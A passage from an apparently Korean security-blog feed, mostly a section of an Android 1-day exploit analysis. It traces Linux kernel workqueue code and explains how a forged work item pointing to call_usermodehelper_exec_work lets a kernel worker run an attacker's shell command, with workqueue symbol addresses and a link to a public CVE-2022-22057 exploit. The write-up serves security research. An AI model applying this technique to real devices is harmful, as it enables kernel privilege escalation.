class="p">);</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">pid_t</span> <span class="n">pid</span><span class="p">;</span> + <span class="cm">/* + * Use CLONE_PARENT to reparent it to kthreadd; we do not + * want to pollute current-&gt;children, and we need a parent + * that always ignores SIGCHLD to ensure auto-reaping. + */</span> + <span class="n">pid</span> <span class="o">=</span> <span class="n">kernel_thread</span><span class="p">(</span><span class="n">call_usermodehelper_exec_async</span><span class="p">,</span> <span class="n">sub_info</span><span class="p">,</span> + <span class="n">CLONE_PARENT</span> <span class="o">|</span> <span class="n">SIGCHLD</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> + <span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">retval</span> <span class="o">=</span> <span class="n">pid</span><span class="p">;</span> + <span class="n">umh_complete</span><span class="p">(</span><span class="n">sub_info</span><span class="p">);</span> + <span class="p">}</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li><code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수는 shell command를 받아서 실행한다.</li> + <li> + <p><code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_sync</code> → <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_async</code> 함수 순으로 실행이 되고 결국 <code class="language-plaintext highlighter-rouge">do_execve</code> 함수를 통해 shell command를 실행할 수 있다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /kernel/kmod.c</span> + <span class="k">static</span> <span class="kt">int</span> <span class="nf">call_usermodehelper_exec_async</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> + <span class="p">{</span> + <span class="k">struct</span> <span class="n">subprocess_info</span> <span class="o">*</span><span class="n">sub_info</span> <span class="o">=</span> <span class="n">data</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">retval</span><span class="p">;</span> + + <span class="n">set_user_nice</span><span class="p">(</span><span class="n">current</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + + <span class="n">retval</span> <span class="o">=</span> <span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span> + <span class="n">new</span> <span class="o">=</span> <span class="n">prepare_kernel_cred</span><span class="p">(</span><span class="n">current</span><span class="p">);</span> + <span class="c1">//[...]</span> + + <span class="n">commit_creds</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> + + <span class="n">retval</span> <span class="o">=</span> <span class="n">do_execve</span><span class="p">(</span><span class="n">getname_kernel</span><span class="p">(</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">path</span><span class="p">),</span> + <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="k">const</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">argv</span><span class="p">,</span> + <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="k">const</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">envp</span><span class="p">);</span> + <span class="c1">//[...]</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> + <li>즉 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 위에서 언급한 <code class="language-plaintext highlighter-rouge">workqueue</code>에 삽입하면 kworker가 이 함수와 연결된 <code class="language-plaintext highlighter-rouge">work_struct</code>를 실행할 때, 원하는 shell code를 실행시킬 수 있게 된다.</li> +</ul> + +<p><br /></p> + +<p>지금부터는 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 <code class="language-plaintext highlighter-rouge">workqueue</code>에 연결하여 호출하기 위해 <code class="language-plaintext highlighter-rouge">kworker</code>와 <code class="language-plaintext highlighter-rouge">workqueue_struct</code>, <code class="language-plaintext highlighter-rouge">work_struct</code>의 연결 관계에 대해서 살펴본다.</p> + +<p><br /></p> + +<h3 id="552-insert-work-into-workqueue">5.5.2 insert work into workqueue</h3> + +<p><code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 <code class="language-plaintext highlighter-rouge">kworker</code>가 실행시키도록 하는 방법을 알기 위해, 먼저 <code class="language-plaintext highlighter-rouge">work_struct</code>를 <code class="language-plaintext highlighter-rouge">workqueue_struct</code>에 추가하는 작업을 분석한다.</p> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">workqueue_struct</code>에 <code class="language-plaintext highlighter-rouge">work_struct</code>를 추가할 때는 <code class="language-plaintext highlighter-rouge">queue_work</code>함수를 이용하여 수행한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//example</span> +<span class="n">ret</span> <span class="o">=</span> <span class="n">queue_work</span><span class="p">(</span><span class="n">workqueue_struct</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">work_struct</span><span class="p">);</span> +</code></pre></div></div> + +<p><br /></p> + +<p>queue_work함수의 내부 control flow를 따라 들어가면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /include/linux/workqueue.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="n">bool</span> <span class="nf">queue_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">return</span> <span class="n">queue_work_on</span><span class="p">(</span><span class="n">WORK_CPU_UNBOUND</span><span class="p">,</span> <span class="n">wq</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /kernel/workqueue.c</span> +<span class="n">bool</span> <span class="nf">queue_work_on</span><span class="p">(</span><span class="kt">int</span> <span class="n">cpu</span><span class="p">,</span> <span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">test_and_set_bit</span><span class="p">(</span><span class="n">WORK_STRUCT_PENDING_BIT</span><span class="p">,</span> <span class="n">work_data_bits</span><span class="p">(</span><span class="n">work</span><span class="p">)))</span> <span class="p">{</span> + <span class="n">__queue_work</span><span class="p">(</span><span class="n">cpu</span><span class="p">,</span> <span class="n">wq</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> + <span class="n">ret</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> + <span class="p">}</span> + <span class="c1">//[...]</span> +<span class="p">}</span> + +<span class="c1">// /kernel/workqueue.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">__queue_work</span><span class="p">(</span><span class="kt">int</span> <span class="n">cpu</span><span class="p">,</span> <span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="n">pwq</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="n">last_pool</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">worklist</span><span class="p">;</span> + <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">work_flags</span><span class="p">;</span> + <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">req_cpu</span> <span class="o">=</span> <span class="n">cpu</span><span class="p">;</span> + + <span class="c1">// [...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">WQ_UNBOUND</span><span class="p">))</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">per_cpu_ptr</span><span class="p">(</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">cpu_pwqs</span><span class="p">,</span> <span class="n">cpu</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">unbound_pwq_by_node</span><span class="p">(</span><span class="n">wq</span><span class="p">,</span> <span class="n">cpu_to_node</span><span class="p">(</span><span class="n">cpu</span><span class="p">));</span> + + <span class="n">last_pool</span> <span class="o">=</span> <span class="n">get_work_pool</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">last_pool</span> <span class="o">&amp;&amp;</span> <span class="n">last_pool</span> <span class="o">!=</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">)</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">;</span> + + <span class="n">spin_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">last_pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span> + + <span class="n">worker</span> <span class="o">=</span> <span class="n">find_worker_executing_work</span><span class="p">(</span><span class="n">last_pool</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">worker</span> <span class="o">&amp;&amp;</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span><span class="o">-&gt;</span><span class="n">wq</span> <span class="o">==</span> <span class="n">wq</span><span class="p">)</span> <span class="p">{</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span><span class="p">;</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">nr_active</span> <span class="o">&lt;</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">max_active</span><span class="p">))</span> <span class="p">{</span> + <span class="n">trace_workqueue_activate_work</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">nr_active</span><span class="o">++</span><span class="p">;</span> + <span class="n">worklist</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">worklist</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">work_flags</span> <span class="o">|=</span> <span class="n">WORK_STRUCT_DELAYED</span><span class="p">;</span> + <span class="n">worklist</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">delayed_works</span><span class="p">;</span> + <span class="p">}</span> + + <span class="n">insert_work</span><span class="p">(</span><span class="n">pwq</span><span class="p">,</span> <span class="n">work</span><span class="p">,</span> <span class="n">worklist</span><span class="p">,</span> <span class="n">work_flags</span><span class="p">);</span> + + <span class="n">spin_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li> + <p>line 33 ~ 35 : cpu 별로 연결되어 있는 pool_workqueue 구조체 포인터를 pwq에 가져온다</p> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android12.png" alt="그림 12. workqueue_struct 와 pool_workqueue 의 연결" /></p> + </li> + <li>line 37 : <code class="language-plaintext highlighter-rouge">work-&gt;data</code>를 기준으로 <code class="language-plaintext highlighter-rouge">pool_id</code>를 계산해서 해당하는 <code class="language-plaintext highlighter-rouge">worker_pool</code>을 <code class="language-plaintext highlighter-rouge">pool_workqueue</code>에서 찾아서 가져온다. + <ul> + <li> + <p><code class="language-plaintext highlighter-rouge">get_work_pool</code> : 인자로 주어진 work가 가리키는 worker_pool을 가져온다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /kernel/workqueue.c</span> + <span class="k">static</span> <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="nf">get_work_pool</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> + <span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">data</span> <span class="o">=</span> <span class="n">atomic_long_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">);</span> + <span class="kt">int</span> <span class="n">pool_id</span><span class="p">;</span> + + <span class="n">assert_rcu_or_pool_mutex</span><span class="p">();</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">data</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_PWQ</span><span class="p">)</span> + <span class="k">return</span> <span class="p">((</span><span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="p">)</span> + <span class="p">(</span><span class="n">data</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_WQ_DATA_MASK</span><span class="p">))</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">;</span> + + <span class="n">pool_id</span> <span class="o">=</span> <span class="n">data</span> <span class="o">&gt;&gt;</span> <span class="n">WORK_OFFQ_POOL_SHIFT</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="n">pool_id</span> <span class="o">==</span> <span class="n">WORK_OFFQ_POOL_NONE</span><span class="p">)</span> + <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> + + <span class="k">return</span> <span class="n">idr_find</span><span class="p">(</span><span class="o">&amp;</span><span class="n">worker_pool_idr</span><span class="p">,</span> <span class="n">pool_id</span><span class="p">);</span> + <span class="p">}</span> +</code></pre></div> </div> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android13.png" alt="그림 13. work_struct가 pool_workqueue를 찾는 방법" /></p> + </li> + </ul> + </li> + <li>line 38 : 찾은 <code class="language-plaintext highlighter-rouge">worker_pool</code>이 우리가 앞서 구한 <code class="language-plaintext highlighter-rouge">pool_workqueue(pwq)</code>에 연결된 게 아니라면, 즉 다른 <code class="language-plaintext highlighter-rouge">pool_workerqueue</code> 구조체에 연결되어 있다면, + <ul> + <li> + <p>line 43 : <code class="language-plaintext highlighter-rouge">find_worker_executing_work(last_pool, work)</code>를 통해 last_poll에 연결된 worker중에 우리가 찾는 <code class="language-plaintext highlighter-rouge">work</code>를 담당하는 <code class="language-plaintext highlighter-rouge">worker</code>를 찾는다.</p> + + <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> // /kernel/workqueue.c + static struct worker *find_worker_executing_work(struct worker_pool *pool, + struct work_struct *work) + { + struct worker *worker; + + hash_for_each_possible(pool-&gt;busy_hash, worker, hentry, + (unsigned long)work) + if (worker-&gt;current_work == work &amp;&amp; + worker-&gt;current_func == work-&gt;func) + return worker; + + return NULL; + } +</code></pre></div> </div> + </li> + <li> + <p>line 46 : 앞서 찾은 <code class="language-plaintext highlighter-rouge">worker-&gt;current_pwq</code>를 <code class="language-plaintext highlighter-rouge">pwq</code>로 세팅한다.</p> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android14.png" alt="그림 14. worker에서 사용하는 올바른 pool_workqueue를 찾는 과정" /></p> + </li> + </ul> + </li> + <li>line 50 : 맞으면 그냥 그대로 진행</li> + <li>line 51~58 : <code class="language-plaintext highlighter-rouge">pwq-&gt;pool-&gt;worklist</code> 혹은 <code class="language-plaintext highlighter-rouge">pwq-&gt;delayed_works</code> 를 <code class="language-plaintext highlighter-rouge">worklist</code>로 가져온다.</li> + <li>line 60 : <code class="language-plaintext highlighter-rouge">insert_work()</code>를 실행 + <ul> + <li><code class="language-plaintext highlighter-rouge">work-&gt;data</code>를 <code class="language-plaintext highlighter-rouge">pwq</code><pool_workqueue> 로 설정</pool_workqueue></li> + <li>앞서 구한 <code class="language-plaintext highlighter-rouge">worklist</code>에 work.entry 연결</li> + </ul> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android15.png" alt="그림 15. work_struct를 worker_pool.worklist에 삽입" /></p> + </li> +</ul> + +<p><br /></p> + +<p>workqueue에 work를 추가하는 과정을 정리하면 아래와 같다.</p> + +<ol> + <li><code class="language-plaintext highlighter-rouge">workqueue</code>와 연결된 cpu의 첫 <code class="language-plaintext highlighter-rouge">pool_workqueue(pwq)</code> 구조체를 가져온다</li> + <li>추가하고 싶은 <code class="language-plaintext highlighter-rouge">work</code>의 <code class="language-plaintext highlighter-rouge">pool_id</code>를 가진 <code class="language-plaintext highlighter-rouge">worker_pool</code>을 <code class="language-plaintext highlighter-rouge">pool_workqueue</code>에서 찾는다.</li> + <li>2번에서 구한 <code class="language-plaintext highlighter-rouge">worker_pool</code>이 1번에서 구한 <code class="language-plaintext highlighter-rouge">pwq</code>가 아니라면, 구한 <code class="language-plaintext highlighter-rouge">worker_pool</code>에 연결된 <code class="language-plaintext highlighter-rouge">worker</code>중에 우리가 삽입할 <code class="language-plaintext highlighter-rouge">work</code>를 담당하는 <code class="language-plaintext highlighter-rouge">worker-&gt;current_pwq</code>를 가져온다.</li> + <li><code class="language-plaintext highlighter-rouge">pwq-&gt;pool-&gt;worklist</code>에 <code class="language-plaintext highlighter-rouge">work</code>를 insert한다.</li> +</ol> + +<p><br /></p> + +<h3 id="553-process_one_work">5.5.3 process_one_work</h3> + +<p>앞서 등록된 work는 kworker thread에 의하여 process_one_work함수에서 실행된다.</p> + +<p>process_one_work 함수를 살펴보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /kernel/workqueue.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">process_one_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">,</span> <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="n">__releases</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span> +<span class="n">__acquires</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="n">pwq</span> <span class="o">=</span> <span class="n">get_work_pwq</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="n">pool</span> <span class="o">=</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">;</span> + <span class="n">bool</span> <span class="n">cpu_intensive</span> <span class="o">=</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">WQ_CPU_INTENSIVE</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">work_color</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">collision</span><span class="p">;</span> +<span class="cp">#ifdef CONFIG_LOCKDEP +</span> + <span class="c1">//[...]</span> + + <span class="n">debug_work_deactivate</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="n">hash_add</span><span class="p">(</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">busy_hash</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">hentry</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">work</span><span class="p">);</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_work</span> <span class="o">=</span> <span class="n">work</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span> <span class="o">=</span> <span class="n">work</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span> <span class="o">=</span> <span class="n">pwq</span><span class="p">;</span> + <span class="n">work_color</span> <span class="o">=</span> <span class="n">get_work_color</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + + <span class="n">list_del_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">entry</span><span class="p">);</span> + + <span class="c1">//[...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">need_more_worker</span><span class="p">(</span><span class="n">pool</span><span class="p">))</span> + <span class="n">wake_up_worker</span><span class="p">(</span><span class="n">pool</span><span class="p">);</span> + + <span class="c1">//[...]</span> + + <span class="n">set_work_pool_and_clear_pending</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="n">pool</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">);</span> + + <span class="n">spin_unlock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span> + + <span class="n">lock_map_acquire_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">lockdep_map</span><span class="p">);</span> + <span class="n">lock_map_acquire</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lockdep_map</span><span class="p">);</span> + <span class="n">trace_workqueue_execute_start</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + + <span class="c1">//[...]</span> + + <span class="n">hash_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">hentry</span><span class="p">);</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_work</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">desc_valid</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span> + <span class="n">pwq_dec_nr_in_flight</span><span class="p">(</span><span class="n">pwq</span><span class="p">,</span> <span class="n">work_color</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>line 6~7 : 앞선 쳅터에서 설정한 <code class="language-plaintext highlighter-rouge">pool_workqueue</code>와 <code class="language-plaintext highlighter-rouge">worker_pool</code>을 가져온다.</li> + <li>line 16~20 : 수행하고자 하는 <code class="language-plaintext highlighter-rouge">work</code>를 찾아서 <code class="language-plaintext highlighter-rouge">worker</code>를 세팅한다</li> + <li>line 37~38 : <code class="language-plaintext highlighter-rouge">worker-&gt;current_func</code>를 수행한다. + <ul> + <li>이때 <code class="language-plaintext highlighter-rouge">worker-&gt;current_func</code>는 <code class="language-plaintext highlighter-rouge">work-&gt;func</code>이다.</li> + </ul> + </li> + <li>line 42~46 : worker를 정리한다.</li> +</ul> + +<p><br /></p> + +<h3 id="554-insert-call_usermodehelper_exec_work-into-workqueue">5.5.4 Insert call_usermodehelper_exec_work into workqueue</h3> + +<p>즉 위와 같은 과정으로 work-&gt;func(work)를 수행하기 때문에, 우리가 work-&gt;func 주소에 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 를 넣을 수 있다면, 혹은 fake work node를 만들어서 앞서 아래 workqueue에 연결된 worker_pool에 work node를 삽입할 수 있다면 우리가 삽입한 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 실행할 수 있을 것이다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// workqueue by system permissions +ffffffc012c8f7e0 D system_wq +ffffffc012c8f7e8 D system_highpri_wq +ffffffc012c8f7f0 D system_long_wq +ffffffc012c8f7f8 D system_unbound_wq +ffffffc012c8f800 D system_freezable_wq +ffffffc012c8f808 D system_power_efficient_wq +ffffffc012c8f810 D system_freezable_power_efficient_wq +</code></pre></div></div> + +<p>이와 관련된 exploit code는 아래 링크에서 확인할 수 있다</p> + +<ul> + <li><a href="https://github.com/github/securitylab/blob/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c#L250">https://github.com/github/securitylab/blob/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c#L250</a></li> +</ul> + +<p><br /> +<br /></p> + +<h1 id="6-reference">6. Reference</h1> + +<ul> + <li><a href="https://cloudfuzz.github.io/android-kernel-exploitation/chapters/vulnerability-discovery.html">https://cloudfuzz.github.io/android-kernel-exploitation/chapters/vulnerability-discovery.html</a></li> + <li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1942">https://bugs.chromium.org/p/project-zero/issues/detail?id=1942</a></li> + <li><a href="https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html">https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html</a></li> + <li><a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047</a></li> + <li><a href="https://chp747.tistory.com/311">https://chp747.tistory.com/311</a></li> + <li><a href="https://www.youtube.com/watch?v=yrLXvmzUQME">https://www.youtube.com/watch?v=yrLXvmzUQME</a></li> + <li><a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E%21/#F0">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E%21/#F0</a></li> + <li><a href="https://github.com/chompie1337/s8_2019_2215_poc/blob/34f6481ed4ed4cff661b50ac465fc73655b82f64/poc/selinux_bypass.c">https://github.com/chompie1337/s8_2019_2215_poc/blob/34f6481ed4ed4cff661b50ac465fc73655b82f64/poc/selinux_bypass.c</a></li> + <li><a href="https://github.com/vngkv123/articles/blob/main/Galaxy's%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md">https://github.com/vngkv123/articles/blob/main/Galaxy’s%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md</a></li> + <li><a href="https://chp747.tistory.com/311">https://chp747.tistory.com/311</a></li> + <li><a href="https://github.com/chompie1337/s8_2019_2215_poc/tree/master">https://github.com/chompie1337/s8_2019_2215_poc/tree/master</a></li> + <li><a href="https://github.com/bata24/gef?tab=readme-ov-file#install-ubuntu-2204-or-before">https://github.com/bata24/gef?tab=readme-ov-file#install-ubuntu-2204-or-before</a></li> + <li><a href="https://changjoon-baek.medium.com/android-device-in-container-b9823cd5a6a7">https://changjoon-baek.medium.com/android-device-in-container-b9823cd5a6a7</a></li> + <li><a href="https://github.blog/2023-07-05-introduction-to-selinux/">https://github.blog/2023-07-05-introduction-to-selinux/</a></li> + <li><a href="https://blog.senyuuri.info/posts/2021-02-06-linux-capability-a-kernel-workthrough/">https://blog.senyuuri.info/posts/2021-02-06-linux-capability-a-kernel-workthrough/</a></li> + <li><a href="https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-pie">https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-pie</a></li> + <li><a href="https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/">https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/</a></li> + <li><a href="https://github.blog/2023-07-05-introduction-to-selinux/">https://github.blog/2023-07-05-introduction-to-selinux/</a></li> + <li><a href="https://kernel.bz/boardPost/118683/2">https://kernel.bz/boardPost/118683/2</a></li> +</ul>Minjoong Kim1. Introduction뉴비들의 하드웨어 해킹 입문기2024-02-05T17:00:00-08:002024-02-05T17:00:00-08:00http://ufo.stealien.com/2024-02-05/IoT-TechBlog-ko<h1 id="뉴비들의-하드웨어-해킹-입문기">뉴비들의 하드웨어 해킹 입문기</h1> <blockquote> <p>이 포스트는 스틸리언 선제대응팀의 ‘이주협’ 선임 연구원님과 ‘이주영’ 연구원님이 정성스럽게 작성 해 주셨습니다.</p> @@ -2688,166 +5047,4 @@ Blockchain에 대한 Security Audit 산업이 MEV에 대한 research로도 발 <p><a href="https://drive.google.com/file/d/1Mk46m5tFapZZ0y4upKxD3R6YsXb4EVZ1/view?usp=sharing">Paper: 권한 상승 취약점 점검 가이드 및 탐지 방법 제안</a>, <a href="https://drive.google.com/file/d/1LscZyKqve60LQsPU98-RgONbP43Mivy1/view?usp=sharing">Doc: 권한 상승 취약점 점검 가이드</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> </ol> -</div>김도현Stealien Security Seminar 1회 리뷰React로 pdf 다루기2022-06-29T08:00:00-07:002022-06-29T08:00:00-07:00http://ufo.stealien.com/2022-06-30/PDF-with-React-ko<h1 id="react로-pdf-다루기">React로 pdf 다루기</h1> - -<p>올해 초, <strong>월간 레포트 리뉴얼</strong> 이라는 업무를 